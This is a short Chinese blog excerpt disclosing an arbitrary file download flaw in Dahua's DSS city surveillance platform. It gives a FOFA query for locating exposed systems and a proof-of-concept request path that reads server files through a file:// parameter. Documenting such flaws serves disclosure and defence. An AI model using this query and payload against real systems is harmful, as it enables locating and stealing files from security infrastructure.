2023年10月1日
大华城市安防监控系统平台管理 attachment_downloadByUrlAtt.action 任意文件下载漏洞
摘要： 漏洞简介 大华城市安防监控系统平台管理存在任意文件下载漏洞，攻击者通过漏洞可以下载服务器上的任意文件 漏洞复现 fofa语法：app="dahua-DSS" 登录页面如下： POC：/portal/attachment_downloadByUrlAtt.action?filePath=file:// 阅读全文
posted @ 2023-10-01 12:12 学安全的小白 阅读(644) 评论(0) 推荐(0)